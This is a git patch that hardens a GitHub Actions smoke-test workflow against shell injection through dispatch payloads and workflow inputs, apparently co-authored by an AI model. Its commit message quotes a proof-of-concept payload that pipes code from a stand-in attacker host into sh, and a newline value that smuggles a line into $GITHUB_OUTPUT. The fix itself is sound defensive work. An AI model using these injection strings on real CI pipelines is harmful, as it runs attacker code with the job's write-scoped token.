From eaab6c2c132173d933fbb1145bf9f5343a6bf253 Mon Sep 17 00:00:00 2001 From: coder Date: Mon, 20 Jul 2026 19:12:36 +0100 Subject: [PATCH] fix(ci): stop shell injection via repository_dispatch payload in sdk-smoke (#206) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit `${{ github.event.client_payload.version }}` and `${{ inputs.sdk_version }}` are expanded by GitHub Actions before the shell parses the line, so the surrounding quotes never contain the injected string. A dispatch payload of 1.0.0"; curl https://attacker/x | sh; echo " executed arbitrary commands on the runner with the job's write-scoped GITHUB_TOKEN. The tainted value flowed on into `pnpm add` and the verify and report steps, giving four injection points in total. Passes all event-controlled data through `env:` instead, so it is never expanded into the script text, and gates it behind a semver allowlist. Hardening beyond the fix proposed in #206: an anchored `grep -E '^...$'` alone is NOT sufficient, because grep is line-oriented. A value of $'1.0.0\ntouch /tmp/pwned' matches the pattern on its first line while smuggling a second line into $GITHUB_OUTPUT, which GitHub parses as an additional step output. Verified this bypass against the issue's suggested regex before hardening. A `case` guard rejecting any character outside the semver alphabet runs first — `case` matches the whole string, newlines included. Verified by extracting the shipped step script straight out of the YAML and running it against each vector (attack cases must exit 1 and write nothing to $GITHUB_OUTPUT): issue PoC / curl|sh RCE exit 1, 0 output lines backtick and $() subshells exit 1, 0 output lines workflow_dispatch input vector exit 1, 0 output lines newline injection + GITHUB_OUTPUT poisoning exit 1, 0 output lines leading/trailing whitespace exit 1, 0 output lines 1.0.0-beta.33 / 2.0.9 / 3.0.0 exit 0, 1 output line no payload -> pinned default exit 0, 1 output line /tmp/pwned was never created. A parser check also confirms no `${{ }}` remains inside any `run:` block in the file. Co-Authored-By: Claude Opus 4.8 --- .github/workflows/sdk-smoke.yml | 50 +++++++++++++++++++++++++-------- 1 file changed, 38 insertions(+), 12 deletions(-) diff --git a/.github/workflows/sdk-smoke.yml b/.github/workflows/sdk-smoke.yml index a36b486..ca2d13c 100644 --- a/.github/workflows/sdk-smoke.yml +++ b/.github/workflows/sdk-smoke.yml @@ -56,15 +56,34 @@ jobs: # Resolve the version to test: repository_dispatch payload > workflow_dispatch # input > pinned default. + # Attacker-controlled data (client_payload / inputs) is passed through `env:` + # and never interpolated into the shell with `${{ }}`, which GitHub expands + # *before* the shell parses the line — quoting does not contain it (#206). + # The semver allowlist is the actual boundary: anything carrying shell + # metacharacters fails the gate before it can reach `pnpm add`. - name: Resolve SDK version id: sdk_ver + env: + PAYLOAD_VERSION: ${{ github.event.client_payload.version }} + INPUT_VERSION: ${{ inputs.sdk_version }} + DEFAULT_VERSION: ${{ env.SDK_VERSION }} run: | - VERSION="${{ github.event.client_payload.version }}" - if [ -z "$VERSION" ]; then - VERSION="${{ inputs.sdk_version }}" - fi - if [ -z "$VERSION" ]; then - VERSION="${{ env.SDK_VERSION }}" + VERSION="${PAYLOAD_VERSION:-${INPUT_VERSION:-$DEFAULT_VERSION}}" + # `grep -E` is line-oriented, so an anchored ^...$ regex alone is NOT + # sufficient: a value like $'1.0.0\ntouch /tmp/pwned' satisfies the + # pattern on its first line while smuggling a second line into + # $GITHUB_OUTPUT, which GitHub then parses as an extra step output. + # `case` matches the WHOLE string (newlines included), so reject any + # character outside the semver alphabet before the shape check. + case "$VERSION" in + ""|*[!0-9A-Za-z.-]*) + echo "Refusing to smoke-test a non-semver SDK version: $VERSION" + exit 1 + ;; + esac + if ! printf '%s' "$VERSION" | grep -qE '^[0-9]+\.[0-9]+\.[0-9]+(-[A-Za-z0-9.]+)?$'; then + echo "Refusing to smoke-test a non-semver SDK version: $VERSION" + exit 1 fi echo "version=$VERSION" >> "$GITHUB_OUTPUT" echo "Testing @percolatorct/sdk@$VERSION" @@ -77,16 +96,20 @@ jobs: run: pnpm install --frozen-lockfile - name: Override SDK dep with published npm version + env: + SDK_VER: ${{ steps.sdk_ver.outputs.version }} run: | - pnpm add "@percolatorct/sdk@${{ steps.sdk_ver.outputs.version }}" \ + pnpm add "@percolatorct/sdk@${SDK_VER}" \ --no-frozen-lockfile - name: Verify installed SDK version + env: + SDK_VER: ${{ steps.sdk_ver.outputs.version }} run: | INSTALLED=$(node -e "console.log(require('./node_modules/@percolatorct/sdk/package.json').version)") echo "Installed: $INSTALLED" - if [ "$INSTALLED" != "${{ steps.sdk_ver.outputs.version }}" ]; then - echo "Version mismatch: expected ${{ steps.sdk_ver.outputs.version }}, got $INSTALLED" + if [ "$INSTALLED" != "$SDK_VER" ]; then + echo "Version mismatch: expected $SDK_VER, got $INSTALLED" exit 1 fi @@ -95,10 +118,13 @@ jobs: - name: Report result if: always() + env: + SDK_VER: ${{ steps.sdk_ver.outputs.version }} + JOB_STATUS: ${{ job.status }} run: | - if [ "${{ job.status }}" = "success" ]; then - echo "@percolatorct/sdk@${{ steps.sdk_ver.outputs.version }} smoke PASSED" + if [ "$JOB_STATUS" = "success" ]; then + echo "@percolatorct/sdk@${SDK_VER} smoke PASSED" else - echo "@percolatorct/sdk@${{ steps.sdk_ver.outputs.version }} smoke FAILED" + echo "@percolatorct/sdk@${SDK_VER} smoke FAILED" exit 1 fi